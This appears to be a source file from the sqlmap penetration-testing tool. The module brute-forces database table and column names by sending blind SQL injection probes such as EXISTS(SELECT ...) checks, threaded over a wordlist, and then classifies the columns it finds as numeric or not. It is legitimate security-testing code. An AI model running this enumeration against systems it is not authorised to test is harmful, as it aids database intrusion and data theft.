sqlmap/lib/techniques/brute/use.py
Miroslav Stampar 29001a4fce minor update
2010-12-20 23:21:01 +00:00

155 lines
4.7 KiB
Python

#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import threading
import time
from lib.core.common import clearConsoleLine
from lib.core.common import dataToStdout
from lib.core.common import getFileItems
from lib.core.common import popValue
from lib.core.common import pushValue
from lib.core.common import randomInt
from lib.core.common import safeStringFormat
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapMissingMandatoryOptionException
from lib.core.settings import METADB_SUFFIX
from lib.request import inject
def tableExists(tableFile):
tables = getFileItems(tableFile)
retVal = []
infoMsg = "checking table existence using items from '%s'" % tableFile
logger.info(infoMsg)
count = [0]
length = len(tables)
threads = []
tbllock = threading.Lock()
iolock = threading.Lock()
kb.locks.seqLock = threading.Lock()
kb.threadContinue = True
def tableExistsThread():
while count[0] < length and kb.threadContinue:
tbllock.acquire()
table = tables[count[0]]
count[0] += 1
tbllock.release()
if conf.db and not conf.db.endswith(METADB_SUFFIX):
table = "%s.%s" % (conf.db, table)
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %d FROM %s)", (randomInt(1), table)))
iolock.acquire()
if result:
retVal.append(table)
if conf.verbose in (1, 2):
clearConsoleLine(True)
infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), table)
dataToStdout(infoMsg, True)
if conf.verbose in (1, 2):
status = '%d/%d items (%d%s)' % (count[0], length, round(100.0*count[0]/length), '%')
dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)
iolock.release()
# Start the threads
for numThread in range(conf.threads):
thread = threading.Thread(target=tableExistsThread, name=str(numThread))
thread.start()
threads.append(thread)
# And wait for them to all finish
try:
alive = True
while alive:
alive = False
for thread in threads:
if thread.isAlive():
alive = True
thread.join(5)
except KeyboardInterrupt:
kb.threadContinue = False
raise
finally:
kb.locks.seqLock = None
clearConsoleLine(True)
if not retVal:
warnMsg = "no table found"
logger.warn(warnMsg)
else:
for item in retVal:
if not kb.data.cachedTables.has_key(conf.db):
kb.data.cachedTables[conf.db] = [item]
else:
kb.data.cachedTables[conf.db].append(item)
return kb.data.cachedTables
def columnExists(columnFile):
if not conf.tbl:
errMsg = "missing table parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
columns = getFileItems(columnFile)
if conf.db and not conf.db.endswith(METADB_SUFFIX):
table = "%s.%s" % (conf.db, conf.tbl)
else:
table = conf.tbl
retVal = []
infoMsg = "checking column existence using items from '%s'" % columnFile
logger.info(infoMsg)
count = 0
length = len(columns)
for column in columns:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s)", (column, table)))
if result:
retVal.append(column)
if conf.verbose in (1, 2):
clearConsoleLine(True)
infoMsg = "\r[%s] [INFO] retrieved: %s\n" % (time.strftime("%X"), column)
dataToStdout(infoMsg, True)
count += 1
if conf.verbose in (1, 2):
status = '%d/%d items (%d%s)' % (count, length, round(100.0*count/length), '%')
dataToStdout("\r[%s] [INFO] tried: %s" % (time.strftime("%X"), status), True)
clearConsoleLine(True)
if not retVal:
warnMsg = "no column found"
logger.warn(warnMsg)
else:
columns = {}
for column in retVal:
result = inject.checkBooleanExpression("%s" % safeStringFormat("EXISTS(SELECT %s FROM %s WHERE %s>0)", (column, table, column)))
if result:
columns[column] = 'numeric'
else:
columns[column] = 'non-numeric'
kb.data.cachedColumns[conf.db] = {conf.tbl: columns}
return kb.data.cachedColumns